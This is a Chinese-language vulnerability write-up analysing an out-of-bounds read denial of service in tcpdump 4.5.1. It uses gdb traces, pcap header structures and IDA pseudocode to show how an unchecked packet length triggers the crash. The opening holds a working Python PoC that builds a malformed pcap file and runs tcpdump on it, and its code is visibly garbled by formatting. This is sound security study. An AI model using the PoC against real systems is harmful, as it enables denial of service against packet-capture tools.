转载请注明出处
漏洞说明
软件下载:
https://www.exploit-db.com/apps/973a2513d0076e34aa9da7e15ed98e1b-tcpdump-4.5.1.tar.gz
PoC:
from subprocessimport call from shleximport split from timeimport sleep def crash(): command = 'tcpdump -r crash' buffer = '\xd4\xc3\xb2\xa1\x02\x00\x04\x00\x00\x00\x00\xf5\xff' buffer += '\x00\x00\x00I\x00\x00\x00\xe6\x00\x00\x00\x00\x80\x00' buffer += '\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00<\x9c7@\xff\x00' buffer += '\x06\xa0r\x7f\x00\x00\x01\x7f\x00\x00\xec\x00\x01\xe0\x1a' buffer += "\x00\x17g+++++++\x85\xc9\x03\x00\x00\x00\x10\xa0&\x80\x18\'" buffer += "xfe$\x00\x01\x00\x00@\x0c\x04\x02\x08\n', '\x00\x00\x00\x00" buffer += '\x00\x00\x00\x00\x01\x03\x03\x04' with open('crash', 'w+b') as file: file.write(buffer) try: call(split(command)) print("Exploit successful! ") except: print("Error: Something has gone wrong!") def main(): print("Author: David Silveiro ") print(" tcpdump version 4.5.1 Access Violation Crash ") sleep(2) crash() if __name__ == "__main__": main()
测试环境:
kali 2.0 x86
调试软件:
gdb with peda
漏洞复现
这是一个很有意思的漏洞,tcpdump在处理特殊的pcap包的时候,由于对于数据包传输数据长度没有进行严格的控制,导致在连续读取数据包中内容超过一定长度后,会读取到无效的内存空间,从而导致拒绝服务的发生,对于这个漏洞,需要首先对pcap包的结构进行一定的分析,才能够最后分析出漏洞的成因,下面对此漏洞进行详细分析。
首先通过gdb运行tcpdump,利用PoC生成存在问题的pcap包,用-r参数打开,tcpdump崩溃,到达漏洞触发位置。
Program received signal SIGSEGV, Segmentation fault. [----------------------------------registers-----------------------------------] EAX: 0x5 EBX: 0x800f2d18 --> 0xf2c10 ECX: 0xbfffdfaf --> 0x30303000 ('') EDX: 0xbfffdfc9 ("......") ESI: 0x107bd EDI: 0x801c1085 --> 0xff000000 EBP: 0x0 ESP: 0xbfffdf5c --> 0x801c2148 --> 0xb7fffa8c --> 0xb7daa604 --> 0xb7fff930 --> 0x80000000 (--> ...) EIP: 0x8001e612 (movzx edi,BYTE PTR [edi+esi*2+0x1]) EFLAGS: 0x210296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x8001e607: mov DWORD PTR [esp+0xc],edx 0x8001e60b: sub esp,0x4 0x8001e60e: movzx ebp,BYTE PTR [edi+esi*2] => 0x8001e612: movzx edi,BYTE PTR [edi+esi*2+0x1] 0x8001e617: mov eax,ebp 0x8001e619: mov edx,edi 0x8001e61b: mov BYTE PTR [esp+0x16],al 0x8001e61f: mov BYTE PTR [esp+0x17],dl [------------------------------------stack-------------------------------------] 0000| 0xbfffdf5c --> 0x801c2148 --> 0xb7fffa8c --> 0xb7daa604 --> 0xb7fff930 --> 0x80000000 (--> ...) 0004| 0xbfffdf60 --> 0xbfffe020 --> 0xb7daa604 --> 0xb7fff930 --> 0x80000000 --> 0x464c457f 0008| 0xbfffdf64 --> 0x5 0012| 0xbfffdf68 --> 0xbfffdfaa (" 0000") 0016| 0xbfffdf6c --> 0xbfffdfc9 ("......") 0020| 0xbfffdf70 --> 0xb058 0024| 0xbfffdf74 --> 0xbfffdf96 (" 0000 0000 0000 0000 0000") 0028| 0xbfffdf78 --> 0x7ffffff9 [------------------------------------------------------------------------------] Legend: code, data, rodata, value Stopped reason: SIGSEGV 0x8001e612 in ?? ()
此时指针位置读取了edi+esi*2+1的内容,这个内容引用的是无效地址指针,可见可能是越界读取造成的这个原因,稍后会进行分析,通过bt回溯一下调用情况。
gdb-peda$ bt #0 0x8001e612 in ?? () #1 0x8001e7da in ?? () #2 0x80013677 in ?? () #3 0x8001ab11 in ?? () #4 0x80013f65 in ?? () #5 0xb7dc6a18 in ?? () from /usr/lib/i386-linux-gnu/libpcap.so.0.8 #6 0xb7db79c3 in pcap_loop () from /usr/lib/i386-linux-gnu/libpcap.so.0.8 #7 0x80012621 in main () #8 0xb7c19a63 in __libc_start_main (main=0x800112a0 <main>, argc=0x3, argv=0xbffff4e4, init=0x80089310, fini=0x80089380, rtld_fini=0xb7fedc90 <_dl_fini>, stack_end=0xbffff4dc) at libc-start.c:287 #9 0x80013461 in ?? ()
可见从main函数开始进行了连续的函数调用,这里把执行结果贴一下,由于中间读取量很大,因此只留开头和结尾部分,中间内容跳过,tcpdump读取的内容。
gdb-peda$ run -r crash Starting program: /usr/sbin/tcpdump -r crash reading from file crash,link -type IEEE802_15_4_NOFCS (IEEE 802.15.4 without FCS) 05:06:08.000000 IEEE 802.15.4 Beacon packet 0x0000: 0000 00ff ffff ff00 0000 0000 0000 0000 ................ 0x0010: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0x0020: 0000 0000 0000 0000 0000 0000 0000 00a0 ................ 0x0030: 5ada b700 0000 0011 0000 00c8 1b1c 80f8 Z............... 0x0040: 191c 8000 0000 0039 0000 0060 111c 8000 .......9...`.... 0x0050: 0000 0000 0000 0001 0000 0001 0000 0001 ................ 0x0060: 0000 0000 0000 0000 0000 006d 646e 7334 ...........mdns4 0x20ed0: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0x20ee0: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0x20ef0: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0x20f00: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0x20f10: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0x20f20: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0x20f30: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0x20f40: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0x20f50: 0000 0000 0000 0000 0000 0000 0000 0000 ................
漏洞分析
首先来分析一下pcap包的格式,首先是pcap文件头的内容,在.h有所定义,这里将结构体以及对应变量含义都列出来。
struct pcap_file_header { bpf_u_int32 magic; u_short version_major; u_short version_minor; bpf_int32 thiszone; /* gmt to local correction */ bpf_u_int32 sigfigs; /* accuracy of timestamps */ bpf_u_int32 snaplen; /* max length saved portion of each pkt */ bpf_u_int32link type; /* datalink type (LINK TYPE_*) */ }; 看一下各字段的含义: magic: 4字节 pcap文件标识 目前为“d4 c3 b2 a1” major: 2字节 主版本号 #define PCAP_VERSION_MAJOR 2 minor: 2字节 次版本号 #define PCAP_VERSION_MINOR 4 thiszone:4字节 时区修正 并未使用,目前全为0 sigfigs: 4字节 精确时间戳 并未使用,目前全为0 snaplen: 4字节 抓包最大长度 如果要抓全,设为0x0000ffff(65535), tcpdump -s 0就是设置这个参数,缺省为68字节link type:4字节 链路类型 一般都是1:ethernet
这个位置不重要,接下来看数据包部分。
struct pcap_pkthdr { struct timeval ts; /* time stamp */ bpf_u_int32 caplen; /* length of portion present */ bpf_u_int32 len; /* length this packet (off wire) */ }; struct timeval { long tv_sec; /* seconds (XXX should be time_t) */ suseconds_t tv_usec; /* and microseconds */ }; ts: 8字节 抓包时间 4字节表示秒数,4字节表示微秒数 caplen:4字节 保存下来的包长度(最多是snaplen,比如68字节) len: 4字节 数据包的真实长度,如果文件中保存的不是完整数据包,可能比caplen大
其中len变量是值得关注的,因为在crash文件中,对应len变量的值为
00 3C 9C 37
这是一个很大的值,读取出来就是379C3C00,数非常大,实际上在wireshark中打开这个crash文件,就会报错,会提示这个数据包的长度已经超过了范围,而换算出来的长度就是379C3C00,这是触发漏洞的关键。
接下来,从main函数开始跟进这个漏洞的触发过程。
gdb-peda$ run -r crash Starting program: /usr/sbin/tcpdump -r crash reading from file crash,link -type IEEE802_15_4_NOFCS (IEEE 802.15.4 without FCS) [----------------------------------registers-----------------------------------] EAX: 0x0 EBX: 0x800f2d18 --> 0xf2c10 ECX: 0x12 EDX: 0x801c1070 --> 0x600ff40 ESI: 0x801bf440 --> 0x0 EDI: 0xfffffff3 EBP: 0x0 ESP: 0xbfffe160 --> 0x801bf440 --> 0x0 EIP: 0x8001ab0b (call DWORD PTR [esi+0xc4]) EFLAGS: 0x200296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x8001ab05: push edi 0x8001ab06: push DWORD PTR [esp+0x14] 0x8001ab0a: push esi => 0x8001ab0b: call DWORD PTR [esi+0xc4] 0x8001ab11: add esp,0x10 0x8001ab14: mov eax,DWORD PTR [esp+0x10] 0x8001ab18: add esp,0x2c 0x8001ab1b: pop ebx No argument [------------------------------------stack-------------------------------------] 0000| 0xbfffe160 --> 0x801bf440 --> 0x0 0004| 0xbfffe164 --> 0x801c1085 --> 0xff000000 0008| 0xbfffe168 --> 0xfffffff3 0012| 0xbfffe16c --> 0x1 0016| 0xbfffe170 --> 0xbfffe1d0 --> 0xbfffe21c --> 0x8000 0020| 0xbfffe174 --> 0xb7fecc9f (<_dl_fixup+223>: sub esp,0x14) 0024| 0xbfffe178 --> 0xb7fdbd08 --> 0xb7fffa8c --> 0xb7daa604 --> 0xb7fff930 --> 0x80000000 (--> ...) 0028| 0xbfffe17c --> 0x801c1085 --> 0xff000000 [------------------------------------------------------------------------------] Legend: code, data, rodata, value Breakpoint 1, 0x8001ab0b in ?? ()
首先会跟踪到一处call调用,这个call调用处于函数sub_1A950中
unsigned int __cdecl sub_1A950(int a1, int a2, int a3) { …… LABEL_20: v3 -= 3; v29 = *(_BYTE *)(a3 + 2); v24 = a3 + 3; (*(void (__cdecl **)(int, const char *, char *))(a1 + 204))( a1, "IEEE 802.15.4 %s packet ", off_E4040[*(_BYTE *)a3 & 7]); v10 = a3; if ( !*(_DWORD *)(a1 + 56) ) { …… LABEL_23: result = 0; if ( !*(_DWORD *)(a1 + 132) ) { (*(void (__cdecl **)(int, int, int))(a1 + 196))(a1, v24, v11);//key word result = 0; } return result; }
这个函数会打印注入IEEE 802.15.4这类内容,观察之前触发崩溃的打印内容,就是在输出数据包内容前的内容,可见这里会对数据包中传输的数据类型进行一些判断,之后打印,随后会到达我标记为key word的位置,这个地方会动态调用函数。
函数内容就是我之前跟踪到的call内容,直接跟进去,观察内层逻辑。
int __cdecl sub_13650(int a1, int a2, unsigned int a3) { return sub_1E7C0(a1, (int)"\n\t", a2, a3); }
内层函数中,会增加一个参数,然后直接调用sub_1E7C0,这个函数至关重要。跟入这个函数连续跟踪,会发现进入一处循环。
Breakpoint 1, 0x8001e5f9 in ?? () gdb-peda$ c Continuing. [----------------------------------registers-----------------------------------] EAX: 0x7 EBX: 0x800f2d18 --> 0xf2c10 ECX: 0xbfffdfb9 --> 0xd0bfff00 EDX: 0xbfffdfcd --> 0x801bee ESI: 0x7 EDI: 0xffffffdf EBP: 0xffffffdf ESP: 0xbfffdf60 --> 0xbfffe020 --> 0xb7daa604 --> 0xb7fff930 --> 0x80000000 --> 0x464c457f EIP: 0x8001e5f9 (cmp esi,DWORD PTR [esp+0x18]) EFLAGS: 0x200202 (carry parity adjust zero sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x8001e5f0: add ecx,0x5 0x8001e5f3: add edx,0x2 0x8001e5f6: add esi,0x1 => 0x8001e5f9: cmp esi,DWORD PTR [esp+0x18] 0x8001e5fd: je 0x8001e6e0 0x8001e603: mov edi,DWORD PTR [esp+0x1c] 0x8001e607: mov DWORD PTR [esp+0xc],edx 0x8001e60b: sub esp,0x4 [------------------------------------stack-------------------------------------] 0000| 0xbfffdf60 --> 0xbfffe020 --> 0xb7daa604 --> 0xb7fff930 --> 0x80000000 --> 0x464c457f 0004| 0xbfffdf64 --> 0x7 0008| 0xbfffdf68 --> 0xbfffdfb4 (" 0000") 0012| 0xbfffdf6c --> 0xbfffdfcb --> 0x1bee2e2e 0016| 0xbfffdf70 --> 0xb058 0020| 0xbfffdf74 --> 0xbfffdf96 (" 0000 00ff ffff ff00 0000 0000 0000") 0024| 0xbfffdf78 --> 0x7ffffff9 0028| 0xbfffdf7c --> 0x801c1085 --> 0xff000000 [------------------------------------------------------------------------------] Legend: code, data, rodata, value Breakpoint 1, 0x8001e5f9 in ?? () gdb-peda$ c Continuing. 05:06:08.000000 IEEE 802.15.4 Beacon packet [----------------------------------registers-----------------------------------] EAX: 0x44 ('D') EBX: 0x800f2d18 --> 0xf2c10 ECX: 0xbfffdf96 (" 0000 00ff ffff ff00 0000 0000 0000 0000") EDX: 0xbfffdfbf ('.' <repeats 16 times>) ESI: 0x8 EDI: 0xbfffdf96 (" 0000 00ff ffff ff00 0000 0000 0000 0000") EBP: 0xbfffdfbf ('.' <repeats 16 times>) ESP: 0xbfffdf60 --> 0xbfffe020 --> 0xb7daa604 --> 0xb7fff930 --> 0x80000000 --> 0x464c457f EIP: 0x8001e5f9 (cmp esi,DWORD PTR [esp+0x18]) EFLAGS: 0x200202 (carry parity adjust zero sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x8001e5f0: add ecx,0x5 0x8001e5f3: add edx,0x2 0x8001e5f6: add esi,0x1 => 0x8001e5f9: cmp esi,DWORD PTR [esp+0x18] 0x8001e5fd: je 0x8001e6e0 0x8001e603: mov edi,DWORD PTR [esp+0x1c] 0x8001e607: mov DWORD PTR [esp+0xc],edx 0x8001e60b: sub esp,0x4 [------------------------------------stack-------------------------------------] 0000| 0xbfffdf60 --> 0xbfffe020 --> 0xb7daa604 --> 0xb7fff930 --> 0x80000000 --> 0x464c457f 0004| 0xbfffdf64 --> 0x0 0008| 0xbfffdf68 --> 0xbfffdfb9 (" 0000") 0012| 0xbfffdf6c --> 0xbfffdfcd --> 0x2e2e ('..') 0016| 0xbfffdf70 --> 0xb058 0020| 0xbfffdf74 --> 0xbfffdf96 (" 0000 00ff ffff ff00 0000 0000 0000 0000") 0024| 0xbfffdf78 --> 0x7ffffff9 0028| 0xbfffdf7c --> 0x801c1085 --> 0xff000000 [------------------------------------------------------------------------------] Legend: code, data, rodata, value Breakpoint 1, 0x8001e5f9 in ?? ()
可以看到,在连续跟踪的这个过程中,esi寄存器的值会不断加1,而随后会连续读取两个字节的内容,其实也就是之前提到的edi+esi*2+1。
那么实际上观察一下edi的值,其实edi的值就是从数据包中读取内容到内存空间的起始地址,esi相当于一个计数器,来看一下IDA的伪代码逻辑。
int __cdecl sub_1E570(int a1, int a2, int a3, unsigned int a4, int a5) { int v5; // esi@1 char *v6; // edx@1 int v7; // ecx@1 int v8; // edi@5 char v9; // al@5 char v10; // al@7 char *v11; // edi@11 int result; // eax@14 char v13; // bp@16 char *v14; // ST2C_4@16 int v15; // ST28_4@16 char v16; // si@16 unsigned int v17; // [sp+0h] [bp-1A8h]@1 int v18; // [sp+4h] [bp-1A4h]@5 char *v19; // [sp+8h] [bp-1A0h]@5 char v20; // [sp+Eh] [bp-19Ah]@5 char v21; // [sp+Fh] [bp-199h]@5 char v22[41]; // [sp+32h] [bp-176h]@1 char v23; // [sp+5Bh] [bp-14Dh]@1 int v24; // [sp+188h] [bp-20h]@1 v5 = 0; v17 = 0; v24 = *MK_FP(__GS__, 20); v6 = &v23; v7 = (int)v22; while ( v5 != a4 >> 1 ) { v19 = v6; v8 = *(_BYTE *)(a3 + 2 * v5 + 1); v20 = *(_BYTE *)(a3 + 2 * v5); v21 = *(_BYTE *)(a3 + 2 * v5 + 1);//key word v18 = v7; __snprintf_chk(v7, &v22[-v7 + 41], 1, 41, " %02x%02x", (unsigned __int8)v20); v9 = 46; if ( (unsigned int)(unsigned __int8)v20 - 33 <= 0x5D ) v9 = v20; *v19 = v9; v10 = 46; if ( (unsigned int)(v8 - 33) <= 0x5D ) v10 = v21; ++v17; v19[1] = v10; if ( v17 <= 7 )
这里提取了部分内容,重要的内容要看一下v20和v21变量,这个就是连续读取edi+esi*2+1的内容,而a3就是读取的数据包内容,v5初始值为0,是计数器,随后会通过snprintf连续读取两个值进行打印,while循环就是判断到达包长的最大值。
这个包长就是通过之前分析到的len获得,但是仔细分析之后发现,通过len判断的这个长度并没有进行控制,如果是自己构造的一个超长len的数据包,则会连续读取到不可估计的值。
通过查看edi的值来看一下这个内存到底开辟到什么位置。
gdb-peda$ x/10000000x 0x801c1085 0x801e1fe5: 0x00000000 0x00000000 0x00000000 0x00000000 0x801e1ff5: 0x00000000 0x00000000 Cannot access memory at address 0x801e2000
可以看到,到达801e2000附近的时候,就是无法读取的无效地址了,那么初始值为801c1085,用两个值相减。
801e1ff5+8+8-801c1085 = 20f80
因为一次读取两个字节,那么循环计数器就要除以2,最后结果为107b8,来看一下到达拒绝服务位置读取的长度。
Program received signal SIGSEGV, Segmentation fault. [----------------------------------registers-----------------------------------] EAX: 0x5 EBX: 0x800f2d18 --> 0xf2c10 ECX: 0xbfffdfaf --> 0x30303000 ('') EDX: 0xbfffdfc9 ("......") ESI: 0x107bd EDI: 0x801c1085 --> 0xff000000 EBP: 0x0 ESP: 0xbfffdf5c --> 0x801c2148 --> 0xb7fffa8c --> 0xb7daa604 --> 0xb7fff930 --> 0x80000000 (--> ...) EIP: 0x8001e612 (movzx edi,BYTE PTR [edi+esi*2+0x1])
107bd,正是不可读取内存空间的地址,因此造成拒绝服务,总结一下整个漏洞触发过程,首先tcpdump会读取恶意构造的pcap包,在构造pcap包的时候,设置一个超长的数据包长度,tcpdump会根据len的长度去读取保存在内存空间数据包的内容,当引用到不可读取内存位置时,会由于引用不可读指针,造成拒绝服务漏洞。